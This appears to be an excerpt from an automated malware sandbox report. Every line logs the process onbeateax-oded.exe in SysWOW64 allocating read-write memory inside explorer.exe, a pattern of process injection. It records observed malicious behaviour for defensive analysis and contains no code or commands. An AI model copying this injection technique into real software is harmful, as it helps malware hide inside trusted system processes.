Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: EB10000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: EB20000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: EB40000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: EB50000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: EB60000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: EB70000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: EB80000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: EB90000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: EBA0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: EBB0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: EBC0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: EBD0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: EBE0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: EBF0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: EC00000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: EC10000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: EC20000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: EC30000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: EC40000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: EC50000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: EC60000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: EC70000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: EC80000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: EC90000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: ECA0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: ECB0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: ECC0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: ECD0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: ECE0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: ECF0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: ED00000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: ED10000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: ED20000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: ED30000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: EE40000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: EE50000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: EE60000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: EE70000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: EE80000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: EE90000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: EEA0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: EEB0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: EEC0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: EED0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: EEE0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: EEF0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: EF00000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: EF10000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: EF20000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: EF30000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: F040000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: F050000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: F060000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: F080000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: F090000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: F1A0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: F1B0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: F1C0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: F1D0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: F1E0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: F1F0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: F200000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: F210000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: F220000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: F230000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: F240000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: F250000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: F260000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: F270000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: F280000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: F290000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: F2A0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: F2B0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: F2C0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: F2D0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: F2E0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: F2F0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: F300000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: F310000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: F320000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: F330000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: F340000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: F350000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: F360000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: F370000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: F380000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: F390000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10460000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10470000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10480000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10490000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 104A0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 104B0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 104C0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 104D0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 104E0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 104F0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10500000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10510000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10520000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10530000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10540000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10550000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10560000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10570000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10580000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10590000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 105A0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 105B0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 105C0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 105D0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 105E0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 105F0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10600000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10610000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10620000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10630000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10640000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10650000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10660000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10670000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10680000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10690000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 106A0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 106B0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 106C0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 106D0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 106E0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 106F0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10700000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10710000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10720000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10730000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10740000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10750000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10760000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10770000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10780000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10790000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 107A0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 107B0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 107C0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 107D0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 107E0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 107F0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10800000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10810000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10820000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10830000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10840000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10850000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10860000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10870000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10880000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10890000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 108A0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 108B0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 108C0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 108D0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 108E0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 108F0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10900000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10910000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10920000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10930000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10940000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10950000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10960000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10970000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10980000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10990000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 109A0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 109B0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 109C0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 109D0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 109E0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 109F0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10A00000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10A10000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10A20000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10A30000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10A40000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10A50000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10A60000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10A70000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10A80000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10A90000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10AA0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10AB0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10AC0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10AD0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10AE0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10AF0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10B00000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10B10000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10B20000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10B30000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10B40000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10B50000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10B60000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10B70000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10B80000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10B90000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10BA0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10BB0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10BC0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory allocated: C:\Windows\explorer.exe base: 10BD0000 protect: page read and write	Jump to behavior
